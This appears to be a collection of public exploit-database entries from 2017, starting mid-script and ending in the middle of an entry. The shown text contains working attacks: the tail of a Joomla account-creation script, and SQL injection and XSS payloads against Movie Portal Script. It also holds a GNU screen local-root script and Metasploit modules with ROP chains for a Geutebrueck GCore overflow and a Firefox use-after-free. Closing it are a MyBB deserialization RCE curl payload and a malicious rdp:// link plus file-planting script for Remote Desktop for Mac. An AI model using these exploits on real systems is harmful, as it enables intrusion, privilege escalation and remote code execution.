# Grab original data from the form, including the CSRF token
response = session.get(form_url)
soup = bs4.BeautifulSoup(response.text, 'lxml')
form = soup.find('form', id='member-registration')
data = {e['name']: e['value'] for e in form.find_all('input')}
# Build our modified data array
user_data = {'%s]' % k: v for k, v in user_data.items()}
data.update(user_data)
# First request will get denied because the two passwords are mismatched
response = session.post(action_url, data=data)
# The second will work
data['jform[password2]'] = data['jform[password1]']
del data['jform[groups][]']
response = session.post(action_url, data=data)
print("Account created for user: %s [%s]" % (username, email))
Exploit Title : Movie Portal Script v7.36 - Multiple Vulnerability
Google Dork : -
Date : 20/01/2017
Exploit Author : Marc Castejon <marc@silentbreach.com>
Vendor Homepage : http://itechscripts.com/movie-portal-script/
Software Link: http://movie-portal.itechscripts.com
Type : webapps
Platform: PHP
Sofware Price and Demo : $250
------------------------------------------------
Type: Error Based Sql Injection
Vulnerable URL:http://localhost/[PATH]/show_news.php
Vulnerable Parameters: id
Method: GET
Payload: AND (SELECT 1222 FROM(SELECT COUNT(*),CONCAT(0x71786b7a71,(SELECT
(ELT(1222=1222,1))),0x717a627871,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
-----------------------------------------------
Type: Reflected XSS
Vulnerable URL: http://localhost/[PATH]/movie.php
Vulnerable Parameters : f=
Payload:<img src=i onerror=prompt(1)>
---------------------------------------------
Type: Error Based Sql Injection
Vulnerable URL:http://localhost/[PATH]/show_misc_video.php
Vulnerable Parameters: id
Method: GET
Payload: AND (SELECT 1222 FROM(SELECT COUNT(*),CONCAT(0x71786b7a71,(SELECT
(ELT(1222=1222,1))),0x717a627871,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
-----------------------------------------------
Type:Union Query Sql Injection
Vulnerable URL:http://localhost/[PATH]/movie.php
Vulnerable Parameters: f
Method: GET
Payload: -4594 UNION ALL SELECT
NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x71626a7871,0x6452766b715a73727a634a497a7370474e6744576c737a6a436a6e566e546c68425a4b426a53544d,0x71627a7171),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#
-----------------------------------------------
Type: Union Query Sql Injection
Vulnerable URL:http://localhost/[PATH]/artist-display.php
Vulnerable Parameters: act
Method: GET
Payload: UNION ALL SELECT
NULL,CONCAT(0x71706a7871,0x6b704f42447249656672596d4851736d486b45414a53714158786549644646716377666471545553,0x717a6a7a71),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#
-----------------------------------------------
Type: Error Based Sql Injection
Vulnerable URL:http://localhost/[PATH]/film-rating.php
Vulnerable Parameters: v
Method: GET
Payload: AND (SELECT 1222 FROM(SELECT COUNT(*),CONCAT(0x71786b7a71,(SELECT
(ELT(1222=1222,1))),0x717a627871,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
#!/bin/bash
# screenroot.sh
# setuid screen v4.5.0 local root exploit
# abuses ld.so.preload overwriting to get root.
# bug: https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html
# HACK THE PLANET
# ~ infodox (25/1/2017)
echo "~ gnu/screenroot ~"
echo "[+] First, we create our shell and library..."
cat << EOF > /tmp/libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
chown("/tmp/rootshell", 0, 0);
chmod("/tmp/rootshell", 04755);
unlink("/etc/ld.so.preload");
printf("[+] done!\n");
}
EOF
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
rm -f /tmp/libhax.c
cat << EOF > /tmp/rootshell.c
#include <stdio.h>
int main(void){
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
execvp("/bin/sh", NULL, NULL);
}
EOF
gcc -o /tmp/rootshell /tmp/rootshell.c
rm -f /tmp/rootshell.c
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so...
/tmp/rootshell
# Exploit Title: Geutebrueck GCore X64 Full RCE Bufferoverflow for Metasploit
# Date: 20170125
# Exploit Author: Luca Cappiello, Maurice Popp
# Contact(Twitter): @dopa_mined, @_m4p0
# Github: https://github.com/m4p0/Geutebrueck_GCore_X64_RCE_BO
# Vendor Homepage: http://www.geutebrueck.com/en_US/product-overview-31934.html
# Software Link: None
# Version: 1.3.8.42/1.4.2.37
# Tested on: Win7, Win8/8.1, Win2012R2
# CVE : None
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'nokogiri'
require 'open-uri'
class MetasploitModule < Msf::Exploit::Remote
include Msf::Exploit::Remote::Tcp
Rank = NormalRanking
def initialize(info = {})
super(update_info(info,
'Name' => 'Geutebrueck GCore - GCoreServer.exe Buffer Overflow RCE',
'Description' => 'This module exploits a stack Buffer Overflow in the GCore server (GCoreServer.exe). The vulnerable webserver is running on Port 13003 and Port 13004, does not require authentication and affects all versions from 2003 till July 2016 (Version 1.4.YYYYY).',
'License' => MSF_LICENSE,
'Author' =>
[
'Luca Cappiello',
'Maurice Popp'
],
'References' =>
[
['www.geutebrueck.com', '']
],
'Platform' => 'win',
'Targets' =>
[
['Automatic Targeting', { 'auto' => true, 'Arch' => ARCH_X86_64 }],
['GCore 1.3.8.42, Windows x64 (Win7, Win8/8.1, Win2012R2,...)', { 'Arch' => ARCH_X86_64 }],
['GCore 1.4.2.37, Windows x64 (Win7, Win8/8.1, Win2012R2,...)', { 'Arch' => ARCH_X86_64 }]
],
'Payload' =>
{
'Space' => '2000'
},
'Privileged' => false,
'DisclosureDate' => 'Sep 01 2016',
'DefaultTarget' => 0))
end
def fingerprint
print_status('Trying to fingerprint server with http://' + datastore['RHOST'] + ':' + datastore['RPORT'].to_s + '/statistics/runningmoduleslist.xml...')
@doc = Nokogiri::XML(open('http://' + datastore['RHOST'] + ':' + datastore['RPORT'].to_s + '/statistics/runningmoduleslist.xml'))
statistics = @doc.css('modulestate')
statistics.each do |x|
if (x.to_s.include? 'GCoreServer') && (x.to_s.include? '1.3.8.42')
mytarget = targets[1]
# print_status(mytarget.name)
print_status("Vulnerable version detected: #{mytarget.name}")
return Exploit::CheckCode::Appears, mytarget
elsif (x.to_s.include? 'GCoreServer') && (x.to_s.include? '1.4.2.37')
mytarget = targets[2]
# print_status(mytarget.name)
print_status("Vulnerable version detected: #{mytarget.name}")
return Exploit::CheckCode::Appears, mytarget
end
end
print_status('Statistics Page under http://' + datastore['RHOST'] + ':' + datastore['RPORT'].to_s + '/statistics/runningmoduleslist.xml is not available.')
print_status("Make sure that you know the exact version, otherwise you'll knock out the service.")
print_status('In the default configuration the service will restart after 1 minute and after the third crash the server will reboot!')
print_status('After a crash, the videosurveillance system can not recover properly and stops recording.')
[Exploit::CheckCode::Unknown, nil]
end
def check
fingerprint
end
def ropchain(target)
if target.name.include? '1.3.8.42'
print_status('Preparing ROP chain for target 1.3.8.42!')
# 0x140cd00a9 | add rsp, 0x10 ; ret
# This is needed because the next 16 bytes are sometimes messed up.
overwrite = [0x140cd00a9].pack('Q<')
# These bytes "\x43" are sacrificed ; we align the stack to jump over this messed up crap.
stack_align = "\x43" * 16
# We have 40 bytes left to align our stack!
# The most reliable way to align our stack is to save the value of rsp in another register, do some calculations
# and to restore it.
# We save RSP to RDX. Even if we use ESP/EDX registers in the instruction, it still works because the values are small enough.
# 0x1404e5cbf: mov edx, esp ; ret
stack_align += [0x1404e5cbf].pack('Q<')
# As no useful "sub rdx, xxx" or "sub rsp, xxx" gadget were found, we use the add instruction with a negative value.
# We pop -XXXXX as \xxxxxxxxx to rax
# 0x14013db94 pop rax ; ret
stack_align += [0x14013db94].pack('Q<')
stack_align += [0xFFFFFFFFFFFFF061].pack('Q<')
# Our value is enough.
# 0x1407dc547 | add rax,rdx ; ret
stack_align += [0x1407dc547].pack('Q<')
# RSP gets restored with the new value. The return instruction doesn't break our ropchain and continues -XXXXX back.
# 0x140ce9ac0 | mov rsp, rax ; ..... ; ret
stack_align += [0x140ce9ac0].pack('Q<')
# Virtualprotect Call for 64 Bit calling convention. Needs RCX, RDX, R8 and R9.
# We want RCX to hold the value for VP Argument "Address of Shellcode"
# 0x140cc2234 | mov rcx, rax ; mov rax, qword [rcx+0x00000108] ; add rsp, 0x28 ; ret ;
rop = ''
rop += [0x140cc2234].pack('Q<')
rop += [0x4141414141414141].pack('Q<') * 5 # needed because of the stack aliging with "add rsp, 0x28" ;
# 0x1400ae2ae | POP RDX; RETN
# 0x...1000 | Value for VP "Size of Memory"
rop += [0x1400ae2ae].pack('Q<')
rop += [0x0000000000000400].pack('Q<')
# 0x14029dc6e: | POP R8; RET
# 0x...40 | Value for VP "Execute Permissions"
rop += [0x14029dc6e].pack('Q<')
rop += [0x0000000000000040].pack('Q<')
# 0x1400aa030 | POP R9; RET
# 0x... | Value for VP "Writeable location". Not sure if needed?
# 0x1409AE1A8 is the .data section of gcore; let's test with this writable section...
rop += [0x1400aa030].pack('Q<')
rop += [0x1409AE1A8].pack('Q<')
# 0x140b5927a: xor rax, rax ; et
rop += [0x140b5927a].pack('Q<')
# 0x1402ce220 pop rax ; ret
# 0x140d752b8 | VP Stub IAT Entry
rop += [0x1402ce220].pack('Q<')
rop += [0x140d752b8].pack('Q<')
# 0x1407c6b3b mov rax, qword [rax] ; ret ;
rop += [0x1407c6b3b].pack('Q<')
# 0x140989c41 push rax; ret
rop += [0x140989c41].pack('Q<')
# 0x1406d684d jmp rsp
rop += [0x1406d684d].pack('Q<')
[rop, overwrite, stack_align]
elsif target.name.include? '1.4.2.37'
print_status('Preparing ROP chain for target 1.4.2.37!')
# 0x140cd9759 | add rsp, 0x10 ; ret
# This is needed because the next 16 bytes are sometimes messed up.
overwrite = [0x140cd9759].pack('Q<')
# These bytes "\x43" are sacrificed ; we align the stack to jump over this messed up crap.
stack_align = "\x43" * 16
# We have 40 bytes left to align our stack!
# The most reliable way to align our stack is to save the value of rsp in another register, do some calculations
# and to restore it.
# We save RSP to RDX. Even if we use ESP/EDX registers in the instruction, it still works because the values are small enough.
# 0x1404f213f: mov edx, esp ; ret
stack_align += [0x1404f213f].pack('Q<')
# As no useful "sub rdx, xxx" or "sub rsp, xxx" gadget were found, we use the add instruction with a negative value.
# We pop -XXXXX as \xxxxxxxxx to rax
# 0x14000efa8 pop rax ; ret
stack_align += [0x14000efa8].pack('Q<')
stack_align += [0xFFFFFFFFFFFFF061].pack('Q<')
# Our value is enough.
# 0x140cdfe65 | add rax,rdx ; ret
stack_align += [0x140cdfe65].pack('Q<')
# RSP gets restored with the new value. The return instruction doesn't break our ropchain and continues -XXXXX back.
# 0x140cf3110 | mov rsp, rax ; ..... ; ret
stack_align += [0x140cf3110].pack('Q<')
# Virtualprotect Call for 64 Bit calling convention. Needs RCX, RDX, R8 and R9.
# We want RCX to hold the value for VP Argument "Address of Shellcode"
# 0x140ccb984 | mov rcx, rax ; mov rax, qword [rcx+0x00000108] ; add rsp, 0x28 ; ret ;
rop = ''
rop += [0x140ccb984].pack('Q<')
rop += [0x4141414141414141].pack('Q<') * 5 # needed because of the stack aliging with "add rsp, 0x28" ;
# 0x14008f7ec | POP RDX; RETN
# 0x...1000 | Value for VP "Size of Memory"
rop += [0x14008f7ec].pack('Q<')
rop += [0x0000000000000400].pack('Q<')
# 0x140a88f81: | POP R8; RET
# 0x...40 | Value for VP "Execute Permissions"
rop += [0x140a88f81].pack('Q<')
rop += [0x0000000000000040].pack('Q<')
# 0x1400aa030 | POP R9; RET
# 0x... | Value for VP "Writeable location". Not sure if needed?
# 0x140FB5000 is the .data section of gcore; let's test with this writable section...
rop += [0x1400aa030].pack('Q<')
rop += [0x140FB5000].pack('Q<')
# 0x140ccea2f: xor rax, rax ; et
rop += [0x140ccea2f].pack('Q<')
# 0x14000efa8 pop rax ; ret
# 0x140d83268 | VP Stub IAT Entry #TODO!
rop += [0x14000efa8].pack('Q<')
rop += [0x140d83268].pack('Q<')
# 0x14095b254 mov rax, qword [rax] ; ret ;
rop += [0x14095b254].pack('Q<')
# 0x140166c46 push rax; ret
rop += [0x140166c46].pack('Q<')
# 0x140cfb98d jmp rsp
rop += [0x140cfb98d].pack('Q<')
[rop, overwrite, stack_align]
else
print_status('ROP chain for this version not (yet) available or the target is not vulnerable.')
end
end
def exploit
# mytarget = target
if target['auto']
checkcode, target = fingerprint
if checkcode.to_s.include? 'unknown'
print_status('No vulnerable Version detected - exploit aborted.')
else
target_rop, target_overwrite, target_stack_align = ropchain(target)
begin
connect
print_status('Crafting Exploit...')
http_wannabe = 'GET /'
buffer_200 = "\x41" * 200
rop = target_rop
payload.encoded
buffer_1823 = "\x41" * 1823
overwrite = target_overwrite
stack_align = target_stack_align
exploit = http_wannabe + buffer_200 + rop + payload.encoded + buffer_1823 + overwrite + stack_align
print_status('Exploit ready for sending...')
sock.put(exploit, 'Timeout' => 20)
print_status('Exploit sent!')
# sleep(10)
buf = sock.get_once || ''
rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
ensure
print_status('Closing socket.')
disconnect
# sleep(10)
end
end
else
print_status('No auto detection - be sure to choose the right version! Otherwise the service will crash, the system reboots and leaves the surveillance software in an undefined status.')
print_status("Selected version: #{self.target.name}")
target_rop, target_overwrite, target_stack_align = ropchain(self.target)
begin
connect
print_status('Crafting Exploit...')
http_wannabe = 'GET /'
buffer_200 = "\x41" * 200
rop = target_rop
payload.encoded
buffer_1823 = "\x41" * 1823
overwrite = target_overwrite
stack_align = target_stack_align
exploit = http_wannabe + buffer_200 + rop + payload.encoded + buffer_1823 + overwrite + stack_align
print_status('Exploit ready for sending...')
sock.put(exploit, 'Timeout' => 20)
print_status('Exploit sent!')
# sleep(10)
buf = sock.get_once || ''
rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
ensure
print_status('Closing socket.')
disconnect
# sleep(10)
end
end
end
end
Commit f86a374 ("screen.c: adding permissions check for the logfile name",
2015-11-04)
The check opens the logfile with full root privileges. This allows us to
truncate any file or create a root-owned file with any contents in any
directory and can be easily exploited to full root access in several ways.
> address@hidden:~$ screen --version
> Screen version 4.05.00 (GNU) 10-Dec-16
> address@hidden:~$ id
> uid=125(buczek) gid=125(buczek)
groups=125(buczek),15(users),19(adm),42(admin),154(Omp3grp),200(algrgrp),209(cdgrp),242(gridgrp),328(nchemgrp),407(hoeheweb),446(spwgrp),453(helpdesk),512(twikigrp),584(zmgrp),598(edv),643(megamgrp),677(greedgrp),5000(abt_srv),16003(framesgr),16012(chrigrp),17001(priv_cpw)
> address@hidden:~$ cd /etc
> address@hidden:/etc (master)$ screen -D -m -L bla.bla echo fail
> address@hidden:/etc (master)$ ls -l bla.bla
> -rw-rw---- 1 root buczek 6 Jan 24 19:58 bla.bla
> address@hidden:/etc (master)$ cat bla.bla
> fail
> address@hidden:/etc (master)$
Donald Buczek <address@hidden>
EDB Note: Follow up ~ http://seclists.org/oss-sec/2017/q1/184
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer
def initialize(info={})
super(update_info(info,
'Name' => "Firefox nsSMILTimeContainer::NotifyTimeChange() RCE",
'Description' => %q{
This module exploits an out-of-bounds indexing/use-after-free condition present in
nsSMILTimeContainer::NotifyTimeChange() across numerous versions of Mozilla Firefox
on Microsoft Windows.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Anonymous Gaijin', # Original research/exploit
'William Webb <william_webb[at]rapid7.com>' # Metasploit module
],
'Platform' => 'win',
'Targets' =>
[
[ 'Mozilla Firefox',
{
'Platform' => 'win',
'Arch' => ARCH_X86,
}
],
],
'DefaultOptions' =>
{
'EXITFUNC' => "thread",
'InitialAutoRunScript' => 'migrate -f'
},
'References' =>
[
[ 'CVE', '2016-9079' ],
[ 'Bugzilla', '1321066' ]
],
'Arch' => ARCH_X86,
'DisclosureDate' => "Nov 30 2016",
'DefaultTarget' => 0
)
)
register_options(
[
OptBool.new('UsePostHTML', [ true, 'Rewrite page with arbitrary HTML after successful exploitation. NOTE: if set to true, you should probably rewrite data/exploits/ff_smil_uaf/post.html to something useful!', false ]),
], self.class
)
end
def exploit_html(cli)
p = payload.encoded
arch = Rex::Arch.endian(target.arch)
payload_final = Rex::Text.to_unescape(p, arch, prefix='\\u')
base_uri = "#{get_resource.chomp('/')}"
# stuff that gets adjusted alot during testing
defrag_x = %Q~
for (var i = 0; i < 0x4000; i++)
heap80[i] = block80.slice(0)
~
defrag_y = %Q~
for (var i = 0x4401; i < heap80.length; i++)
heap80[i] = block80.slice(0)
~
js = %Q~
var worker = new Worker('#{base_uri}/worker.js');
var svgns = 'http://www.w3.org/2000/svg';
var heap80 = new Array(0x5000);
var heap100 = new Array(0x5000);
var block80 = new ArrayBuffer(0x80);
var block100 = new ArrayBuffer(0x100);
var sprayBase = undefined;
var arrBase = undefined;
var animateX = undefined;
var containerA = undefined;
var milestone_offset = 0x90;
var $ = function(id) { return document.getElementById(id); }
var heap = function()
{
var u32 = new Uint32Array(block80)
u32[4] = arrBase - milestone_offset;
u32[0xa] = arrBase + 0x1000 - milestone_offset;
u32[0x10] = arrBase + 0x2000 - milestone_offset;
var x = document.createElementNS(svgns, 'animate')
var svg = document.createElementNS(svgns, 'svg')
svg.appendChild(x)
svg.appendChild(x.cloneNode(true))
for (var i = 0; i < 0x400; i++)
{
var node = svg.cloneNode(true);
node.setAttribute('id', 'svg' + i)
document.body.appendChild(node);
}
#{defrag_x}
for (var i = 0; i < 0x400; i++)
{
heap80[i + 0x3000] = block80.slice(0)
$('svg' + i).appendChild(x.cloneNode(true))
}
for (var i = 0; i < 0x400; i++)
{
$('svg' + i).appendChild(x.cloneNode(true))
$('svg' + i).appendChild(x.cloneNode(true))
}
for (var i = 0; i < heap100.length; i++)
heap100[i] = block100.slice(0)
#{defrag_y}
for (var i = 0x100; i < 0x400; i++)
$('svg' + i).appendChild(x.cloneNode(true))
}
var exploit = function()
{
heap();
animateX.setAttribute('begin', '59s')
animateX.setAttribute('begin', '58s')
animateX.setAttribute('begin', '10s')
animateX.setAttribute('begin', '9s')
// money shot
containerA.pauseAnimations();
}
worker.onmessage = function(e)
{
worker.onmessage = function(e)
{
window.setTimeout(function()
{
worker.terminate();
document.body.innerHTML = '';
document.getElementsByTagName('head')[0].innerHTML = '';
document.body.setAttribute('onload', '')
document.write('<blink>')
}, 1000);
}
arrBase = e.data;
exploit();
}
var idGenerator = function()
{
return 'id' + (((1+Math.random())*0x10000)|0).toString(16).substring(1);
}
var craftDOM = function()
{
containerA = document.createElementNS(svgns, 'svg')
var containerB = document.createElementNS(svgns, 'svg');
animateX = document.createElementNS(svgns, 'animate')
var animateA = document.createElementNS(svgns, 'animate')
var animateB = document.createElementNS(svgns, 'animate')
var animateC = document.createElementNS(svgns, 'animate')
var idX = idGenerator();
var idA = idGenerator();
var idB = idGenerator();
var idC = idGenerator();
animateX.setAttribute('id', idX);
animateA.setAttribute('id', idA);
animateA.setAttribute('end', '50s');
animateB.setAttribute('id', idB);
animateB.setAttribute('begin', '60s');
animateB.setAttribute('end', idC + '.end');
animateC.setAttribute('id', idC);
animateC.setAttribute('begin', '10s');
animateC.setAttribute('end', idA + '.end');
containerA.appendChild(animateX)
containerA.appendChild(animateA)
containerA.appendChild(animateB)
containerB.appendChild(animateC)
document.body.appendChild(containerA);
document.body.appendChild(containerB);
}
window.onload = craftDOM;
~
# If you want to change the appearance of the landing page, do it here
html = %Q~
<html>
<head>
<meta charset="utf-8"/>
<script>
#{js}
</script>
</head>
<body>
</body>
</html>
~
if datastore['UsePostHTML']
f = File.open(File.join(Msf::Config.data_directory, "exploits", "firefox_smil_uaf", "post.html"), "rb")
c = f.read
html = html.gsub("<blink>", c)
else
html = html.gsub("<blink>", "")
end
send_response(cli, html, { 'Content-Type' => 'text/html', 'Pragma' => 'no-cache', 'Cache-Control' => 'no-cache', 'Connection' => 'close' })
end
def worker_js(cli)
p = payload.encoded
arch = Rex::Arch.endian(target.arch)
payload = Rex::Text.to_unescape(p, arch)
wt = File.open(File.join(Msf::Config.data_directory, "exploits", "firefox_smil_uaf", "worker.js"), "rb")
c = wt.read
c = c.gsub("INSERTSHELLCODEHEREPLZ", payload)
c = c.gsub("NOPSGOHERE", "\u9090")
send_response(cli, c, { 'Content-Type' => 'application/javascript', 'Pragma' => 'no-cache', 'Cache-Control' => 'no-cache', 'Connection' => 'close' })
end
def is_ff_on_windows(user_agent)
target_hash = fingerprint_user_agent(user_agent)
if target_hash[:ua_name] !~ /Firefox/ or target_hash[:os_name] !~ /Windows/
return false
end
return true
end
def on_request_uri(cli, request)
print_status("Got request: #{request.uri}")
print_status("From: #{request.headers['User-Agent']}")
if (!is_ff_on_windows(request.headers['User-Agent']))
print_error("Unsupported user agent: #{request.headers['User-Agent']}")
send_not_found(cli)
close_client(cli)
return
end
if request.uri =~ /worker\.js/
print_status("Sending worker thread Javascript ...")
worker_js(cli)
return
end
if request.uri =~ /index\.html/ or request.uri =~ /\//
print_status("Sending exploit HTML ...")
exploit_html(cli)
close_client(cli)
return
end
end
end
#GMP Deserialization Type Confusion Vulnerability [MyBB <= 1.8.3 RCE Vulnerability]
Taoguang Chen <[@chtg57](https://twitter.com/chtg57)> - Write Date: 2015.4.28 - Release Date: 2017.1.20
> A type-confusion vulnerability was discovered in GMP deserialization with crafted object's __wakeup() magic method that can be abused for updating any already assigned properties of any already created objects, this result in serious security issues.
Affected Versions
------------
Affected is PHP 5.6 < 5.6.30
Credits
------------
This vulnerability was disclosed by Taoguang Chen.
Description
------------
gmp.c
```
static int gmp_unserialize(zval **object, zend_class_entry *ce, const unsigned char *buf, zend_uint buf_len, zend_unserialize_data *data TSRMLS_DC) /* {{{ */
{
...
ALLOC_INIT_ZVAL(zv_ptr);
if (!php_var_unserialize(&zv_ptr, &p, max, &unserialize_data TSRMLS_CC)
|| Z_TYPE_P(zv_ptr) != IS_ARRAY
) {
zend_throw_exception(NULL, "Could not unserialize properties", 0 TSRMLS_CC);
goto exit;
}
if (zend_hash_num_elements(Z_ARRVAL_P(zv_ptr)) != 0) {
zend_hash_copy(
zend_std_get_properties(*object TSRMLS_CC), Z_ARRVAL_P(zv_ptr),
(copy_ctor_func_t) zval_add_ref, NULL, sizeof(zval *)
);
}
```
zend_object_handlers.c
```
ZEND_API HashTable *zend_std_get_properties(zval *object TSRMLS_DC) /* {{{ */
{
zend_object *zobj;
zobj = Z_OBJ_P(object);
if (!zobj->properties) {
rebuild_object_properties(zobj);
}
return zobj->properties;
}
```
It has been demonstrated many times before that __wakeup() or other magic methods leads to `ZVAL` was changed from the memory in during deserializtion. So an attacker can change `**object` into an integer-type or bool-type `ZVAL`, then the attacker will be able to access any objects that stored in objects store via `Z_OBJ_P`. This means the attacker will be able to update any properties in the object via zend_hash_copy(). It is possible to lead to various problems and including security issues.
The following codes will prove this vulnerability:
```
<?php
class obj
{
var $ryat;
function __wakeup()
{
$this->ryat = 1;
}
}
$obj = new stdClass;
$obj->aa = 1;
$obj->bb = 2;
$inner = 's:1:"1";a:3:{s:2:"aa";s:2:"hi";s:2:"bb";s:2:"hi";i:0;O:3:"obj":1:{s:4:"ryat";R:2;}}';
$exploit = 'a:1:{i:0;C:3:"GMP":'.strlen($inner).':{'.$inner.'}}';
$x = unserialize($exploit);
var_dump($obj);
?>
```
Expected result:
```
object(stdClass)#1 (2) {
["aa"]=>
int(1)
["bb"]=>
int(2)
}
```
Actual result:
```
object(stdClass)#1 (3) {
["aa"]=>
string(2) "hi"
["bb"]=>
string(2) "hi"
[0]=>
object(obj)#3 (1) {
["ryat"]=>
&int(1)
}
}
```
**i) How to exploited this bug in real world?**
When PHP 5.6 <= 5.6.11, DateInterval's __wakeup() use convert_to_long() handles and reassignments its properties (it has been demonstrated many times), so an attacker can convert GMP object to an any integer-type `ZVAL` via GMP's gmp_cast_object():
```
static int gmp_cast_object(zval *readobj, zval *writeobj, int type TSRMLS_DC) /* {{{ */
{
mpz_ptr gmpnum;
switch (type) {
...
case IS_LONG:
gmpnum = GET_GMP_FROM_ZVAL(readobj);
INIT_PZVAL(writeobj);
ZVAL_LONG(writeobj, mpz_get_si(gmpnum));
return SUCCESS;
```
The following codes will prove this exploite way:
```
<?php
var_dump(unserialize('a:2:{i:0;C:3:"GMP":17:{s:4:"1234";a:0:{}}i:1;O:12:"DateInterval":1:{s:1:"y";R:2;}}'));
?>
```
Of course, a crafted __wakeup() can also be exploited, ex:
```
<?php
function __wakeup()
{
$this->ryat = (int) $this->ryat;
}
?>
```
**ii) Can be exploited this bug in real app?**
Exploited the bug in MyBB:
index.php
```
if(isset($mybb->cookies['mybb']['forumread']))
{
$forumsread = my_unserialize($mybb->cookies['mybb']['forumread']);
}
```
MyBB <= 1.8.3 allow deserialized cookies via unserialize(), so an attacker will be able to update `$mybb` or other object's any properties, and it is possible to lead to security issues easily, ex: xss, sql injection, remote code execution and etc. :-)
**P.S. I had reported this vulnerability and it had been fixed in mybb >= 1.8.4.**
Proof of Concept Exploit
------------
**MyBB <= 1.8.3 RCE vulnerability**
index.php
```
eval('$index = "'.$templates->get('index').'";');
```
MyBB always use eval() function in during template parsing.
inc/class_templates.php
```
class templates
{
...
public $cache = array();
...
function get($title, $eslashes=1, $htmlcomments=1)
{
global $db, $theme, $mybb;
...
$template = $this->cache[$title];
...
return $template;
}
```
If we can control the `$cache`, we will be albe to inject PHP code via eval() function.
inc/init.php
```
$error_handler = new errorHandler();
...
$maintimer = new timer();
...
$mybb = new MyBB;
...
switch($config['database']['type'])
{
case "sqlite":
$db = new DB_SQLite;
break;
case "pgsql":
$db = new DB_PgSQL;
break;
case "mysqli":
$db = new DB_MySQLi;
break;
default:
$db = new DB_MySQL;
}
...
$templates = new templates;
```
The `$templates` object was instantiated in init.php, and four objects was instantiated in this before. This means the `$templates` object's handle was set to `5` and stored into objects store, so we can access the `$templates` object and update the `$cache` property via convert GMP object into integer-type `ZVAL` that value is `5` in during GMP deserialization. This also means we can inject PHP code via eval() function.
When MyBB <= 1.8.3 and PHP 5.6 <= 5.6.11, remote code execution by just using curl on the command line:
```
curl --cookie 'mybb[forumread]=a:1:{i:0%3bC:3:"GMP":106:{s:1:"5"%3ba:2:{s:5:"cache"%3ba:1:{s:5:"index"%3bs:14:"{${phpinfo()}}"%3b}i:0%3bO:12:"DateInterval":1:{s:1:"y"%3bR:2%3b}}}}' http://127.0.0.1/mybb/
```
## Description
A vulnerability exists in Microsoft Remote Desktop for Mac that allows a remote attacker to execute arbitrary code on the target machine.
User interaction is needed to exploit this issue, but a single click on a link (sent via mail, iMessage, etc.) is sufficient to trigger the vulnerability.
## Details
Microsoft Remote Desktop Client for Mac OS X (ver 8.0.32 and probably prior) allows a malicious Terminal Server to read and write any file in the home directory of the connecting user.
The vulnerability exists to the way the application handles rdp urls. In the rdp url schema it's possible to specify a parameter that will make the user's home directory accessible to the server without any warning or confirmation request. If an attacker can trick a user to open a malicious rdp url, he/she can read and write any file within the victim's home directory.
Since Mac OS X by default opens rdp urls without confirmation (for example via Safari, Mail, Messages), a single click on a link it's sufficient to trigger the vulnerability.
According to Microsoft, no CVE will be assigned due to the release model of this particular client.
A demo video is available at https://youtu.be/6HeSiXYRpNY.
## Proof Of Concept
The following Proof Of Concept creates a directory on the victim's home and puts a file into it.
To reproduce the issue follow the steps below:
- install a windows 2008 server and allow Administrator to connect without password
- login as Administrator
- configure a trusted ssl certificate for rdp connections
- install python2.7 and put the following script in the "Startup" folder
- logout
- send the link below to a victim
RDC link:
```
rdp://full%20address=s:attacker.local&desktopwidth=i:200&desktopheight=i:200&audiomode=i:2&disable%20themes=i:1&screen%20mode%20id=i:1&devicestoredirect:s:*&drivestoredirect=s:*&redirectprinters=i:1&username=s:Administrator
```
### Python script
```
#BOF
import sys
import subprocess
import time
import os
def runcmd(cmd):
err = None
out = None
try:
process = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE);
out, err = process.communicate()
except Exception as e:
print str(e)
return out
while(True):
netuse = runcmd("net use")
if netuse.find("TSCLIENT"):
runcmd('MKLINK /D C:\\home \\\\tsclient\\home')
runcmd('md c:\\home\\REMOTE')
runcmd('copy c:\\REMOTE.txt c:\\home\\REMOTE\\REMOTE.txt')
runcmd("shutdown /l /f")
break
time.sleep(0.4)
#EOF
```
## Remote Code Execution
To execute arbitrary code on the target machine we can use a trick that involves ssh and ssh:// URI handler.
Consider the following example where the RDC exploit pushes the following files on the remote machine:
- `~/.ssh/known_hosts`
```
p ssh-rsa AAAAB3NzaC1yc2EAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
```
